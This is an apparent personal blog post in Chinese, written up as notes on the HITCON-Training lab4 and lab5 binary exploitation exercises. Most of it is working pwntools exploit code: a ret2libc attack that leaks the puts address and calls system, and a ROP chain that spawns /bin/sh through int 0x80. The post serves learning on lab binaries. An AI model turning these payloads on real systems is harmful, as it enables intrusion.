1.23第三条咸鱼
2019-01-23 本文已影响0人
好大一只免孑
今日份咸鱼
https://github.com/scwuaptx/HITCON-Training
lab4,lab5
lab4:
先用IDA

gdb调试一下
获取一下put_plt

写一串下面的东西

运行后获得put的地址

然后查询用了什么库

然后查相应的基地址

把要用的地址都查了

最后代码是这样
但是不晓得出了啥子毛病运行有问题
阿西吧 等之后慢慢改
sh=process('./ret2lib')
put_adr=0xf7e17140
libc_adr=put_adr-0x0005f140
gets_ret=libc_adr+0x0005e890
sys_ret=0x0003a940+libc_adr
buf=0x0804b000-30
p='a'*60+p32(gets_ret)+p32(sys_ret)+p32(buf)+p32(buf)
sh.recvuntil(":")
sh.sendline(p)
sh.sendline('/bin/sh\x00')
sh.interactive()
改过后的:
#context.log_level='debug'
sh=process('./ret2lib')
libc=ELF("/lib32/libc.so.6")
ret2lib=ELF("./ret2lib")
sh.sendline(str(ret2lib.got['puts']))
sh.recvuntil('0x')
put_adr=int(sh.readuntil('\n'),16)
libc_adr=put_adr-0x0005f140
gets_ret=libc_adr+0x0005e890
sys_ret=0x0003a940+libc_adr
buf=0x0804b000-30
p='a'*60+p32(gets_ret)+p32(sys_ret)+p32(buf)+p32(buf)
sh.recvuntil(":")
sh.sendline(p)
sh.sendline('/bin/sh\x00')
sh.interactive()
lab5
Ida


ok这是一个rop题
ROPgadget --binary simplerop > rop.txt



sh=process('./simplerop')
read_ret=0x0806CD50
pop_edx_ecx_ebx_ret=0x0806e850
pop_eax_ret=0x080bae06
int80_ret=0x080493e1
buf = 0x80ea060
payload='a'*32+p32(read_ret)+p32(pop_edx_ecx_ebx_ret)
payload+=p32(0)+p32(buf)+p32(0x10)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(buf)
payload+=p32(pop_eax_ret)+p32(0xb)
payload+=p32(int80_ret)
sh.recvuntil(":")
sh.sendline(payload)
sh.sendline('/bin/sh\x00')
sh.interactive()

摸完鱼了
快落